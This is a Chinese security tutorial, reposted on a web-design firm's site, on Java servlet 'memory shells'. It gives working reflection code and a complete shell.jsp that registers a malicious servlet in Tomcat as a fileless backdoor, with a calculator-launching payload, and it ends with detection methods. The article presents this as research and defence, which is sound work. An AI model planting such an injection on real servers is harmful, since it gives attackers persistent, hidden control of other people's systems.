十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Java 内存马系列(一):Servlet 内存马——基于 Servlet-API 的隐蔽后门实现

Java 内存马系列(一):Servlet 内存马——基于 Servlet-API 的隐蔽后门实现 特别申明1. 致谢感谢 B 站 UP 主零溢出师傅提供的 Java 安全系列免费视频教程本文内容深受其启发在此表示诚挚感谢。感兴趣的读者可以前往 B 站搜索「零溢出」学习更多 Java 安全相关知识。2. 法律声明本文所有内容仅供安全研究与技术交流使用旨在帮助安全从业者理解内存马原理提升防御能力。严禁将文中技术用于任何非法用途。攻击者利用本文技术造成的一切后果与作者及平台无关。请遵守《中华人民共和国网络安全法》及相关法律法规共同维护网络安全环境。一、Servlet-API 内存马概述在 Java Web 安全领域Servlet-API 内存马是一类利用 Servlet 规范中的核心组件Filter、Servlet、Listener构建的内存级别后门。其中Servlet 内存马是最基础、最直接的一种实现方式——它通过动态注册一个恶意的 Servlet 组件使其成为 Web 容器中一个合法的请求处理节点从而实现对目标服务器的持久化控制。与传统的 WebShell 不同Servlet 内存马具有以下核心特征无文件落地恶意代码完全存在于 JVM 内存中不写入任何磁盘文件与容器共生生命周期与 Web 容器进程绑定容器不重启则后门持续生效隐蔽性极强通过正常的管理接口Servlet 注册 API完成注入难以被文件扫描器发现二、Servlet内存码原理2.1 查看ContextConfig类中的configureContext方法传入的参数webxml对象断点位置private void configureContext(WebXml webxml)我们找到servlets和servletMappings这两个map能够发现前一个map里面装有我们自己写的servlet后一个map装有我们自己写的servlet对应的映射路径。在该方法中寻找将servlet与其对应的路径装载到tomcat的方法。2.2 装载过程断点位置context.addChild(wrapper)和context.addServletMappingDecoded(entry.getKey(), entry.getValue())context.addChild(wrapper)这个方法是添加servlet的方法wrapper可以理解为servlet的分装并且也是context调用方法来创造2.3 context寻找点击context.createWrapper()中的context我们发现context就是StandardContext那么我们的思路就很明确了获取StandardContext制造一个wrapper然后调用addChild和addServletMapping方法就可以向Tomcat容器注入我们自己写的恶意类。三、Servlet 内存马实现流程3.1 获取 StandardContext获取 StandardContext 通常从request.getServletContext()出发通过两层反射穿透封装ServletContext servletContext request.getServletContext(); //通过standardcontext拿到application Field applicationContextFiled servletContext.getClass().getDeclaredField(context); applicationContextFiled.setAccessible(true); ApplicationContext applicationContext (ApplicationContext) applicationContextFiled.get(servletContext); //通过applicationContext拿到standardcontext Field standardContextFiled applicationContext.getClass().getDeclaredField(context); standardContextFiled.setAccessible(true); StandardContext standardContext (StandardContext) standardContextFiled.get(applicationContext);3.2 构造恶意 Servlet恶意 Servlet 的核心是service()或doGet/doPost方法解析请求参数执行系统命令//定义恶意的servlet public class MemServlet extends HttpServlet { Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Runtime.getRuntime().exec(calc); } }3.3 动态注册 Servlet通过 StandardContext 的 API 完成注册//将MemServlet封装到wrapper Wrapper wrapper standardContext.createWrapper(); wrapper.setName(memshell); wrapper.setServletClass(MemServlet.class.getName()); wrapper.setServlet(new MemServlet()); //将wrapper添加到standardContext并映射url standardContext.addChild(wrapper); standardContext.addServletMappingDecoded(/mem, memshell);3.4 内存码注入访问shell.jsp文件注入内存码再访问/mem我们设置好的路径就能弹出计算器此时删除代码再次访问/mem依然能弹出计算器恶意类已经加载到内存中。shell.jsp文件如下% page importjava.io.IOException % % page importjava.lang.reflect.Field % % page importorg.apache.catalina.core.ApplicationContext % % page importorg.apache.catalina.core.StandardContext % % page importorg.apache.catalina.Wrapper %%-- Created by IntelliJ IDEA. User: JunKai Date: 2026/8/15 Time: 10:21 To change this template use File | Settings | File Templates. --% % page contentTypetext/html;charsetUTF-8 languagejava % %! //定义恶意的servlet public class MemServlet extends HttpServlet { Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Runtime.getRuntime().exec(calc); } } % %--通过反射拿到StandardContext--% % ServletContext servletContext request.getServletContext(); //通过standardcontext拿到application Field applicationContextFiled servletContext.getClass().getDeclaredField(context); applicationContextFiled.setAccessible(true); ApplicationContext applicationContext (ApplicationContext) applicationContextFiled.get(servletContext); //通过applicationContext拿到standardcontext Field standardContextFiled applicationContext.getClass().getDeclaredField(context); standardContextFiled.setAccessible(true); StandardContext standardContext (StandardContext) standardContextFiled.get(applicationContext); //将MemServlet封装到wrapper Wrapper wrapper standardContext.createWrapper(); wrapper.setName(memshell); wrapper.setServletClass(MemServlet.class.getName()); wrapper.setServlet(new MemServlet()); //将wrapper添加到standardContext并映射url standardContext.addChild(wrapper); standardContext.addServletMappingDecoded(/mem, memshell); %四、检测方案StandardContext 监控通过 JMX 或 RASP 监控addChild()和addServletMappingDecoded()方法调用实时告警异常注册行为内存类扫描利用 JVMTI 扫描已加载类识别 ClassLoader 路径异常且实现 Servlet 接口的类配合类字节码分析确认是否为恶意代码流量分析检测访问模式异常的 URL 路径如高频访问带cmd参数的 URL结合请求来源 IP 和行为模式进行风险评分反射调用监控监控对setAccessible(true)的调用链识别异常反射行为阻断未授权的反射操作五、总结Servlet 内存马利用 Servlet 容器标准的动态注册机制通过反射获取 StandardContext 后直接操作children和servletMappings集合实现恶意组件的无文件注入。它是 Servlet-API 内存马家族中最基础也最经典的实现方式。理解 Servlet 内存马的原理不仅是学习 Java 内存马的起点更是深入掌握 Tomcat 容器内部结构的重要途径。在攻防博弈中攻击者利用的是反射突破封装防御者利用的是运行时监控和内存分析——双方的较量始终围绕 JVM 内部状态的可观测性展开。
返回列表